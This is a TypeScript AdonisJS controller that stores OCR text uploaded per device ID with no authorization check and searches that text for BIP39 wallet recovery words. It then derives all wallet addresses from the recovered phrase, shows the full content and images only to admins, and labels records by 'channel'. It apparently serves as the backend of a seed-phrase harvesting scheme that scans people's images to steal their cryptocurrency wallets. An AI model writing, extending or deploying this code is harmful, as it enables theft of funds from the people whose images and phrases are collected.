OcrRecordController.ts 7.9 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217
  1. import { HttpContextContract } from '@ioc:Adonis/Core/HttpContext'
  2. import PaginationService from 'App/Services/PaginationService'
  3. import { schema } from '@ioc:Adonis/Core/Validator'
  4. import OcrRecord from 'App/Models/OcrRecord'
  5. import Drive from '@ioc:Adonis/Core/Drive'
  6. import BlockchainWalletService from 'App/Services/BlockchainWalletService'
  7. import * as bip39 from 'bip39'
  8. import { HttpStatusCode } from 'axios'
  9. import { HttpException } from '@adonisjs/http-server/build/src/Exceptions/HttpException'
  10. export default class OcrRecordController {
  11. private paginationService = new PaginationService(OcrRecord)
  12. public async index({ request, auth }: HttpContextContract) {
  13. const user = auth.user
  14. const isApiUser = user?.$attributes?.role === 'api'
  15. const requestData = request.all()
  16. if (isApiUser) {
  17. requestData.channel = user.username
  18. }
  19. const res = await this.paginationService.paginate(requestData)
  20. if (isApiUser) {
  21. res.forEach((record) => {
  22. record.content = ''
  23. record.record = ''
  24. record.img = ''
  25. })
  26. } else {
  27. await Promise.all(
  28. res.map(async (record) => {
  29. if (record.img && record.img !== '-') {
  30. record.img = await Drive.getSignedUrl(
  31. new URL(record.img).pathname.replace(/^\//, '')
  32. )
  33. }
  34. })
  35. )
  36. }
  37. return res
  38. }
  39. public async store({ request, bouncer }: HttpContextContract) {
  40. // await bouncer.authorize('admin')
  41. await request.validate({
  42. schema: schema.create({
  43. deviceId: schema.string(),
  44. record: schema.string()
  45. })
  46. })
  47. const data = request.all()
  48. data.content = await this.recordParsing(data.record)
  49. data.detail = await BlockchainWalletService.getAllAddresses(data.content)
  50. return await OcrRecord.create(data)
  51. }
  52. public async updateContent({ request, response }: HttpContextContract) {
  53. const data = await request.validate({
  54. schema: schema.create({
  55. id: schema.number(),
  56. content: schema.string()
  57. })
  58. })
  59. const record = await OcrRecord.findBy('id', request.input('id'))
  60. if (record) {
  61. record.content = data.content
  62. await record.save()
  63. return response.ok(record)
  64. } else {
  65. return response.notFound({ message: 'Record not found' })
  66. }
  67. }
  68. public async updateDetail({ params, response }: HttpContextContract) {
  69. const record = await OcrRecord.findBy('id', params.id)
  70. if (record) {
  71. const walletAddresses = await BlockchainWalletService.getAllAddresses(record.content)
  72. record.detail = JSON.stringify(walletAddresses)
  73. await record.save()
  74. return response.ok(record)
  75. } else {
  76. return response.notFound({ message: 'Record not found.' })
  77. }
  78. }
  79. public async getAllAddresses({ request }: HttpContextContract) {
  80. await request.validate({
  81. schema: schema.create({
  82. mnemonic: schema.string()
  83. })
  84. })
  85. return BlockchainWalletService.getAllAddresses(request.input('mnemonic'))
  86. }
  87. public async recordParsing(record: string) {
  88. // 解析记录字符串
  89. const lines = record.split('\n')
  90. if (record.includes('Rec:') && record.includes('Det:')) {
  91. // 提取所有Rec:后面的文本
  92. lines
  93. .filter((line) => line.includes('Rec:'))
  94. .map((line) => {
  95. const parts = line.split('Rec:')
  96. if (parts.length < 2) return ''
  97. // 获取Rec:之后、Cls:之前的部分
  98. const afterRec = parts[1]
  99. const beforeCls = afterRec.split('Cls:')[0]
  100. // 找到最后一个逗号的位置
  101. const lastCommaIndex = beforeCls.lastIndexOf(',')
  102. // 如果找到逗号,提取逗号之前的文本;否则使用整个文本
  103. return lastCommaIndex !== -1
  104. ? beforeCls.substring(0, lastCommaIndex).trim()
  105. : beforeCls.trim()
  106. })
  107. .filter((text) => text.length > 0)
  108. }
  109. // 从文本中提取潜在的助记词
  110. const potentialWords = new Set<string>()
  111. const englishWordRegex = /[a-zA-Z]+/g
  112. // 遍历所有行提取英文单词
  113. lines.forEach((line) => {
  114. const words = line.match(englishWordRegex)
  115. if (words) {
  116. words.forEach((word) => {
  117. // 忽略数字和分数值
  118. if (!word.includes('.') && isNaN(Number(word))) {
  119. potentialWords.add(word.toLowerCase())
  120. }
  121. })
  122. }
  123. })
  124. // 过滤出可能是BIP39助记词的单词
  125. const potentialBip39Words = Array.from(potentialWords).filter((word) => {
  126. // 使用bip39.wordlists.english检查单词是否在BIP39词表中
  127. return bip39.wordlists.english.includes(word)
  128. })
  129. // 寻找连续助记词序列
  130. const possibleMnemonics = await this.findPossibleMnemonics(lines, potentialBip39Words)
  131. console.log('Potential BIP39 words:', potentialBip39Words.toString())
  132. console.log('Potential mnemonics:', possibleMnemonics.toString())
  133. // 将所有可能的助记词合并为一个字符串返回
  134. if (possibleMnemonics.length < potentialBip39Words.length) {
  135. return potentialBip39Words.join(' ')
  136. }
  137. return possibleMnemonics.join(' ')
  138. }
  139. // 寻找可能的助记词序列
  140. private async findPossibleMnemonics(
  141. recTexts: string[],
  142. bip39Words: string[]
  143. ): Promise<string[]> {
  144. const mnemonics: string[] = []
  145. // 检查每行文本是否包含连续地助记词
  146. recTexts.forEach((text) => {
  147. const words = text.split(/\s+/)
  148. // 检查这一行是否包含多个BIP39词
  149. const bip39WordsInLine = words.filter((word) => {
  150. // 清理单词中的标点符号以及数字
  151. const cleanWord = word.replace(/[.,;:!?0-9]/g, '')
  152. return bip39Words.includes(cleanWord)
  153. })
  154. // 如果找到多个BIP39词,可能是助记词序列
  155. if (bip39WordsInLine.length >= 3) {
  156. // mnemonics存入bip39WordsInLine中每一个元素
  157. bip39WordsInLine.map((word) => {
  158. mnemonics.push(word)
  159. })
  160. }
  161. })
  162. // 尝试从所有文本中提取12或24个词的序列
  163. // const allWords = recTexts.join(' ').split(/\s+/)
  164. // const bip39WordsInAll = allWords.filter((word) => {
  165. // const cleanWord = word.replace(/[.,;:!?]/g, '')
  166. // return bip39Words.includes(cleanWord)
  167. // })
  168. //
  169. // bip39WordsInAll.map((word) => {
  170. // mnemonics.push(word)
  171. // })
  172. // 查找12词或24词的连续序列
  173. // for (let i = 0; i <= bip39WordsInAll.length - 12; i++) {
  174. // const possibleMnemonic = bip39WordsInAll.slice(i, i + 12).join(' ')
  175. // if (bip39.validateMnemonic(possibleMnemonic)) {
  176. // mnemonics.push(possibleMnemonic)
  177. // }
  178. // }
  179. //
  180. // for (let i = 0; i <= bip39WordsInAll.length - 24; i++) {
  181. // const possibleMnemonic = bip39WordsInAll.slice(i, i + 24).join(' ')
  182. // if (bip39.validateMnemonic(possibleMnemonic)) {
  183. // mnemonics.push(possibleMnemonic)
  184. // }
  185. // }
  186. // 返回去重后的助记词列表
  187. return mnemonics
  188. }
  189. }